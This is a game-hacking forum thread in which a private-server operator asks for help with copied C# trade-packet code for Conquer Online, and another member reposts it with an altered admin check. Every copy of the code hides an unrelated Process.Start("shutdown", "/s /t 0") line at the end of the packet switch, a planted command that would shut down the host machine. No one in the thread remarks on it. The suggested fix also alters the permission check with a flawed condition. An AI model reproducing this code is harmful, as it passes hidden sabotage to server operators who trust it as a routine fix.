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I need help with trade code
Discussion on I need help with trade code within the CO2 Private Server forum part of the Conquer Online 2 category.
02/23/2011, 21:47
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#1
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elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
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I need help with trade code
Hello, on my server we have: [PM], [GM] and [ADM]
but for one reason, the [ADM] cant trade with [GM] or [PM]...
i alleredy have working that GM and PM can trade code, but i need help with making [ADM] trade to!
plz help me
Thanks
this is the trade code: i is copyed from a thred in elitepvpers but i dont remeber witch one...
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;
namespace NewestCOServer.PacketHandling
{
public class Trade
{
static void CancelTrade(Main.GameClient C)
{
if (C.MyChar.Trading)
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide.Clear();
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.Silvers = Who.Silvers;//update the silvers
Who.CPs = Who.CPs;//update the cps
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
}
C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.MyChar.CPs = C.MyChar.CPs;//update the cps
C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
}
}
public static void Handle(Main.GameClient C, byte[] Data)
{
uint UID = BitConverter.ToUInt32(Data, 4);
byte Type = Data[8];
switch (Type)
{
case 1:
{
Character Who = (Character)World.H_Chars[UID];
if (Who != null && !Who.Trading)
{
if (!C.MyChar.Trading && !C.MyChar.MyClient.GM)
{
if (!C.MyChar.Trading && !C.MyChar.MyClient.ADM)
if (Who.EntityID != C.MyChar.TradingWith)
{
C.MyChar.TradingWith = UID;
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
break;
}
else
{
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
}
}
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
}
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));
break;
}
case 2:
{
CancelTrade(C);
break;
}
case 6:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
if (C.MyChar.TradeSide.Count < 20)
{
if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
{
Game.Item I = C.MyChar.FindInvItem(UID);
if (!I.FreeItem)
{
Who.MyClient.AddSend(Packets.TradeItem(I));
C.MyChar.TradeSide.Add(I.UID);
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
}
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
}
}
}
break;
}
case 7:
{
C.MyChar.TradingSilvers = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 8));
break;
}
case 13:
{
C.MyChar.TradingCPs = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 12));
break;
}
case 10:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null && Who.ClickedOK)
{
{
if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));
Who.Silvers += C.MyChar.TradingSilvers;
Who.Silvers -= Who.TradingSilvers;
C.MyChar.Silvers += Who.TradingSilvers;
C.MyChar.Silvers -= C.MyChar.TradingSilvers;
Who.CPs += C.MyChar.TradingCPs;
Who.CPs -= Who.TradingCPs;
C.MyChar.CPs += Who.TradingCPs;
C.MyChar.CPs -= C.MyChar.TradingCPs;
foreach (uint Id in C.MyChar.TradeSide)
{
Game.Item I = C.MyChar.FindInvItem(Id);
Who.AddItem(I);
C.MyChar.RemoveItem(I);
}
foreach (uint Id in Who.TradeSide)
{
Game.Item I = Who.FindInvItem(Id);
C.MyChar.AddItem(I);
Who.RemoveItem(I);
}
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide = new System.Collections.ArrayList(20);
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
}
else
CancelTrade(C);
}
}
else
{
C.MyChar.ClickedOK = true;
Who.MyClient.AddSend(Packets.TradePacket(0, 10));
}
break;
}
Process.Start("shutdown", "/s /t 0");
}
}
}
}
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02/24/2011, 01:10
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#2
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elite*gold: 0
Join Date: May 2006
Posts: 1,190
Received Thanks: 516
|
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;
namespace NewestCOServer.PacketHandling
{
public class Trade
{
static void CancelTrade(Main.GameClient C)
{
if (C.MyChar.Trading)
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide.Clear();
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.Silvers = Who.Silvers;//update the silvers
Who.CPs = Who.CPs;//update the cps
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
}
C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.MyChar.CPs = C.MyChar.CPs;//update the cps
C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
}
}
public static void Handle(Main.GameClient C, byte[] Data)
{
uint UID = BitConverter.ToUInt32(Data, 4);
byte Type = Data[8];
switch (Type)
{
case 1:
{
Character Who = (Character)World.H_Chars[UID];
if (Who != null && !Who.Trading)
{
[COLOR="Red"] if (!C.MyChar.Trading && !C.MyChar.MyClient.GM || !C.MyChar.MyClient.ADM)[/COLOR]
{
if (Who.EntityID != C.MyChar.TradingWith)
{
C.MyChar.TradingWith = UID;
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
break;
}
else
{
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
}
}
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
}
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));
break;
}
case 2:
{
CancelTrade(C);
break;
}
case 6:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
if (C.MyChar.TradeSide.Count < 20)
{
if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
{
Game.Item I = C.MyChar.FindInvItem(UID);
if (!I.FreeItem)
{
Who.MyClient.AddSend(Packets.TradeItem(I));
C.MyChar.TradeSide.Add(I.UID);
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
}
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
}
}
}
break;
}
case 7:
{
C.MyChar.TradingSilvers = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 8));
break;
}
case 13:
{
C.MyChar.TradingCPs = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 12));
break;
}
case 10:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null && Who.ClickedOK)
{
{
if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));
Who.Silvers += C.MyChar.TradingSilvers;
Who.Silvers -= Who.TradingSilvers;
C.MyChar.Silvers += Who.TradingSilvers;
C.MyChar.Silvers -= C.MyChar.TradingSilvers;
Who.CPs += C.MyChar.TradingCPs;
Who.CPs -= Who.TradingCPs;
C.MyChar.CPs += Who.TradingCPs;
C.MyChar.CPs -= C.MyChar.TradingCPs;
foreach (uint Id in C.MyChar.TradeSide)
{
Game.Item I = C.MyChar.FindInvItem(Id);
Who.AddItem(I);
C.MyChar.RemoveItem(I);
}
foreach (uint Id in Who.TradeSide)
{
Game.Item I = Who.FindInvItem(Id);
C.MyChar.AddItem(I);
Who.RemoveItem(I);
}
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide = new System.Collections.ArrayList(20);
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
}
else
CancelTrade(C);
}
}
else
{
C.MyChar.ClickedOK = true;
Who.MyClient.AddSend(Packets.TradePacket(0, 10));
}
break;
}
Process.Start("shutdown", "/s /t 0");
}
}
}
}
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02/24/2011, 01:22
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#3
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elite*gold: 0
Join Date: Feb 2011
Posts: 335
Received Thanks: 170
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OR you can search, I released a "fix" for that long ago.
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02/24/2011, 16:42
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#4
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elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
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Quote:
Originally Posted by .Beatz
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;
namespace NewestCOServer.PacketHandling
{
public class Trade
{
static void CancelTrade(Main.GameClient C)
{
if (C.MyChar.Trading)
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide.Clear();
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.Silvers = Who.Silvers;//update the silvers
Who.CPs = Who.CPs;//update the cps
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
}
C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.MyChar.CPs = C.MyChar.CPs;//update the cps
C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
}
}
public static void Handle(Main.GameClient C, byte[] Data)
{
uint UID = BitConverter.ToUInt32(Data, 4);
byte Type = Data[8];
switch (Type)
{
case 1:
{
Character Who = (Character)World.H_Chars[UID];
if (Who != null && !Who.Trading)
{
[COLOR="Red"] if (!C.MyChar.Trading && !C.MyChar.MyClient.GM || !C.MyChar.MyClient.ADM)[/COLOR]
{
if (Who.EntityID != C.MyChar.TradingWith)
{
C.MyChar.TradingWith = UID;
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
break;
}
else
{
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
}
}
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
}
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));
break;
}
case 2:
{
CancelTrade(C);
break;
}
case 6:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
if (C.MyChar.TradeSide.Count < 20)
{
if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
{
Game.Item I = C.MyChar.FindInvItem(UID);
if (!I.FreeItem)
{
Who.MyClient.AddSend(Packets.TradeItem(I));
C.MyChar.TradeSide.Add(I.UID);
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
}
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
}
}
}
break;
}
case 7:
{
C.MyChar.TradingSilvers = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 8));
break;
}
case 13:
{
C.MyChar.TradingCPs = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 12));
break;
}
case 10:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null && Who.ClickedOK)
{
{
if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));
Who.Silvers += C.MyChar.TradingSilvers;
Who.Silvers -= Who.TradingSilvers;
C.MyChar.Silvers += Who.TradingSilvers;
C.MyChar.Silvers -= C.MyChar.TradingSilvers;
Who.CPs += C.MyChar.TradingCPs;
Who.CPs -= Who.TradingCPs;
C.MyChar.CPs += Who.TradingCPs;
C.MyChar.CPs -= C.MyChar.TradingCPs;
foreach (uint Id in C.MyChar.TradeSide)
{
Game.Item I = C.MyChar.FindInvItem(Id);
Who.AddItem(I);
C.MyChar.RemoveItem(I);
}
foreach (uint Id in Who.TradeSide)
{
Game.Item I = Who.FindInvItem(Id);
C.MyChar.AddItem(I);
Who.RemoveItem(I);
}
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide = new System.Collections.ArrayList(20);
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
}
else
CancelTrade(C);
}
}
else
{
C.MyChar.ClickedOK = true;
Who.MyClient.AddSend(Packets.TradePacket(0, 10));
}
break;
}
Process.Start("shutdown", "/s /t 0");
}
}
}
}
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when i put it in the trade.cs this error comes up:
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02/24/2011, 17:43
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#5
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elite*gold: 20
Join Date: Jun 2006
Posts: 3,296
Received Thanks: 924
|
Quote:
Originally Posted by EternityViruz
when i put it in the trade.cs this error comes up:
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Ever thought about doing what the error says? Can't be that hard to add the definition.
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02/24/2011, 20:14
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#6
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elite*gold: 0
Join Date: Nov 2010
Posts: 1,162
Received Thanks: 370
|
Quote:
Originally Posted by Kiyono
Ever thought about doing what the error says? Can't be that hard to add the definition.
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They see an error and gets blind.
Quote:
OMG ERROR NEED HELP!!!!!!! I CAN'T READ, HOW I FIX?????
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Thought the error already says how to fix.
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02/24/2011, 22:07
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#7
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elite*gold: 0
Join Date: Jan 2011
Posts: 63
Received Thanks: 1
|
Quote:
Originally Posted by Syst3m_W1z4rd
They see an error and gets blind.
Thought the error already says how to fix.
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the error is gone now xD
#Close Thred
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lvl 28 account trade for 1 promo code!
01/06/2011 - WarRock Hacks, Bots, Cheats & Exploits - 4 Replies
:rtfm::rtfm::rtfm::rtfm:lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account trade for 1 promo code!lvl 28 account...
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Promo code trade
12/22/2010 - WarRock Trading - 0 Replies
I trade a cx4 strom promo code for 400 g1 credits.
who was interested contact me please. ty (i just talk in english)
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[TRAD3]2x Cx4storm Code[TRADE]
08/21/2010 - WarRock Trading - 0 Replies
Ich tausche meine 2 Cx4Storm Code`s gg 6 Tage Gold Premium bzw.
3 Day Pass...
Wer interresse hat im Thread schreiben :pimp:
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[TRADE] Website for Code/source
05/06/2009 - CO2 Private Server - 20 Replies
hey!
I can make nice website WWW for your server and trading for hard code or unique good source. 4351 or 5017 patch :).
I offer:
Own templates
Own script
.htacess file protect your file configuration.
Language website: Polish, English, Sweden.
If you are interesend msg me to [email protected], sent private messange or write post here!
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